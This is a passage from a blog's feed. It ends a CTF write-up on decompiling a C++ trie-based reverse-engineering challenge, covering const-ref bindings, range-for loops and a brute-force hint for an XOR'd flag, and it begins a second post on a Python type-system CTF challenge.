punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;With &lt;code&gt;auto&lt;/code&gt;, our binding was creating new &lt;code&gt;char&lt;/code&gt; and &lt;code&gt;TrieNode*&lt;/code&gt; copies. (Hence, the extra 16 bytes.) With &lt;code&gt;const auto&amp;amp;&lt;/code&gt;, we take a constant reference.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Constant: meaning we only &lt;em&gt;read&lt;/em&gt; the value. No modifications. This fixes the second issue.&lt;/li&gt;
&lt;li&gt;Reference: meaning we &lt;em&gt;refer&lt;/em&gt; (point) to the original objects instead of copying them. This fixes the first issue.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).&lt;/p&gt;
&lt;h3 id=&quot;on-for-range-loops&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-for-range-loops&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On For-Range Loops&lt;/h3&gt;
&lt;p&gt;The astute may notice the above can be refactored slightly with the help of range-based &lt;code&gt;for&lt;/code&gt;-loops. These were introduced in C++11, and are like Python &lt;code&gt;for&lt;/code&gt;-&lt;code&gt;in&lt;/code&gt; loops, but less powerful.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Example&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-cpp language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-cpp language-cpp&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-cpp&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-cpp&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-cpp&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;In fact, range-based &lt;code&gt;for&lt;/code&gt;-loops are syntactic sugar for the plain loops we all know and love.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;range_decl &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; range_expr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;translates to...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; __range &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; range_expr&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; __begin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; begin&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Usually std::begin(__range)&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; __end &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; end&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;// ...and std::end(__range).&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; __begin &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; __end&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;__begin&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		range_decl &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;__begin&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(See more: &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/range-for&quot;&gt;cppreference&lt;/a&gt;.)&lt;/p&gt;
&lt;h3 id=&quot;on-control-flow&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-control-flow&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Control Flow&lt;/h3&gt;
&lt;p&gt;Decompiler output may not accurately present the control flow of the original program. Changing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the order of control flow, and&lt;/li&gt;
&lt;li&gt;which statement is used&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;may lead us closer to 100%.&lt;/p&gt;
&lt;p&gt;Would it make more sense to use a &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;switch&lt;/code&gt;&lt;/span&gt; instead of an &lt;code&gt;if&lt;/code&gt; in a certain place?&lt;/p&gt;
&lt;h3 id=&quot;other-useful-tips&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#other-useful-tips&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other Useful Tips&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Use Godbolt’s &lt;strong&gt;Compiler Explorer&lt;/strong&gt; to play around with disassembly output. It helps with analysing small details such as variable declaration.
&lt;ul&gt;
&lt;li&gt;Remember to set x86-64 gcc 12.2 and &lt;code&gt;-std=c++17&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Two good sources for standard library documentation are &lt;a href=&quot;https://en.cppreference.com/w/&quot;&gt;&lt;em&gt;cppreference&lt;/em&gt;&lt;/a&gt; (high quality) and &lt;a href=&quot;https://cplusplus.com/reference/&quot;&gt;&lt;em&gt;cplusplus.com&lt;/em&gt;&lt;/a&gt; (beginner-friendly).&lt;/li&gt;
&lt;li&gt;Version control is incredibly useful for tracking incremental changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-infernal-flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#the-infernal-flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Infernal Flag&lt;/h2&gt;
&lt;p&gt;Once we recover enough source code, it&#39;s time to find the internal flag. This is probably the least interesting part (for me), so I&#39;ll keep it short.&lt;/p&gt;
&lt;p&gt;Notice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In &lt;code&gt;main&lt;/code&gt;, a bunch of garbage strings are inserted into the trie.&lt;/li&gt;
&lt;li&gt;Afterwards, mixing is turned on (&lt;code&gt;node-&amp;gt;should_mix = true&lt;/code&gt;), so that the next &lt;code&gt;node-&amp;gt;insert()&lt;/code&gt; will jumble the trie...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now it&#39;s time to take a really close look at &lt;code&gt;mix()&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;What&lt;/em&gt; is jumbled? All the strings.&lt;/li&gt;
&lt;li&gt;How? &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;All chars are xor&#39;ed with a char (the &lt;code&gt;wordhash&lt;/code&gt; of a string).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;How many possible chars are there? &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;256&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Two words: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;brute force&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Maybe one of the strings just happens to be the internal flag xor&#39;ed. Who knows?&lt;/p&gt;
&lt;p&gt;After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!&lt;/p&gt;
&lt;h2 id=&quot;final-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#final-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Final Remarks&lt;/h2&gt;
&lt;p&gt;I&#39;m sure the chal is called Vitamin C++ because it&#39;s designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Language Features: &lt;code&gt;auto&lt;/code&gt;, structured bindings, for-range loops, const-ref.&lt;/li&gt;
&lt;li&gt;Library Features: iterators, unordered map.&lt;/li&gt;
&lt;li&gt;Unordered map is preferred for performance in lookup.&lt;/li&gt;
&lt;li&gt;Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)&lt;/li&gt;
&lt;li&gt;Pay attention to groups of &lt;code&gt;sub&lt;/code&gt; and &lt;code&gt;mov&lt;/code&gt; instructions to check if we declared too little/many stack variables.&lt;/li&gt;
&lt;li&gt;Ghidra is pretty powerful.&lt;/li&gt;
&lt;li&gt;C++ is fun.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can&#39;t complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Hello?! Const-correctness? Ever heard of it?&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 672 / 457&quot; alt=&quot;Hello?! Const-correctness? Ever heard of it?&quot; title=&quot;Hello?! Const-correctness? Ever heard of it?&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp 672w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 672px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also, who doesn&#39;t like a good pun hidden in a challenge?&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1012 / 232&quot; alt=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; title=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp 1012w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1012px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;solve-sauce&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#solve-sauce&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Sauce&lt;/h2&gt;
&lt;p&gt;(Files not embedded, as they&#39;re a bit big.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-rev-cpp&quot;&gt;rev.cpp: Fully reversed (100% similarity) source.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-solve-py&quot;&gt;solve.py: For cracking the internal flag.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-send-py&quot;&gt;send.py: Driver program to test rev.cpp.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://ctftime.org/event/list/?year=2022#:~:text=Decompetition%20v2.0&quot;&gt;Decompetition&lt;/a&gt; is a reverse-engineering CTF held irregularly. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;[2024 Nov] demangler.com seems to be down. Here&#39;s a different site with similar functionality: &lt;a href=&quot;https://n.fuqu.jp/c++filtjs/&quot;&gt;n.fuqu.jp/c++filtjs/&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In proper engineering, we would hide the implementation behind &lt;code&gt;private&lt;/code&gt;, so &lt;code&gt;next_node&lt;/code&gt; should be a private variable. But since this is a CTF, proper engineering comes second. 😛 &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>cpp</category>
        
          <category>tutorial</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Subtype Metaprogramming is Mostly Harmless</title>
        <description>Inheritance go brrrrrrrr... abusing turing-complete typesystems to write fun programs in Python.</description>
        <link href="https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/"/>
        <updated>2023-10-02T00:00:00Z</updated>
        <id>https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Types are cool! But y&#39;know what&#39;s even cooler? A CTF challenge on types!&lt;/p&gt;
&lt;p&gt;This year&#39;s MapleCTF graced us with a challenge involving much class, much inheritance, much confuzzlement, and much eyesore.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 h-auto lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;Screenshot of output.py.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-797w.webp&quot;&gt;&lt;img class=&quot;multi rw&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-797w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:69.46%;aspect-ratio: auto 797 / 293&quot; alt=&quot;Screenshot of output.py.&quot; title=&quot;Screenshot of output.py.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/output-797w.webp 797w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 797px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;Much harm.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-500w.webp&quot;&gt;&lt;img class=&quot;multi rw&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:25.54%;aspect-ratio: auto 500 / 500&quot; alt=&quot;Doge meme. Much class. Much inheritance. Much contravariant. Much turing. Much eyesore.&quot; title=&quot;Much harm.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Mostly Harmless&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some people consider type annotations to be useless. I consider everything &lt;em&gt;but&lt;/em&gt; type annotations redundant.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://toki.la/&quot;&gt;JJ&lt;/a&gt;&lt;br /&gt;
17/291 solves.&lt;/p&gt;
&lt;p&gt;The &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;challenge&quot;&gt;chal&lt;/abbr&gt; is also humorously tagged &amp;quot;cursed&amp;quot; and &amp;quot;misc&amp;quot;. Well, that&#39;s reassuring...&lt;/p&gt;
&lt;p&gt;Anyway, we&#39;re presented with two files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;app.py&lt;/code&gt;: Driver code to convert the flag (input) to a mysterious line of output, then opens a subprocess and runs&lt;/p&gt;
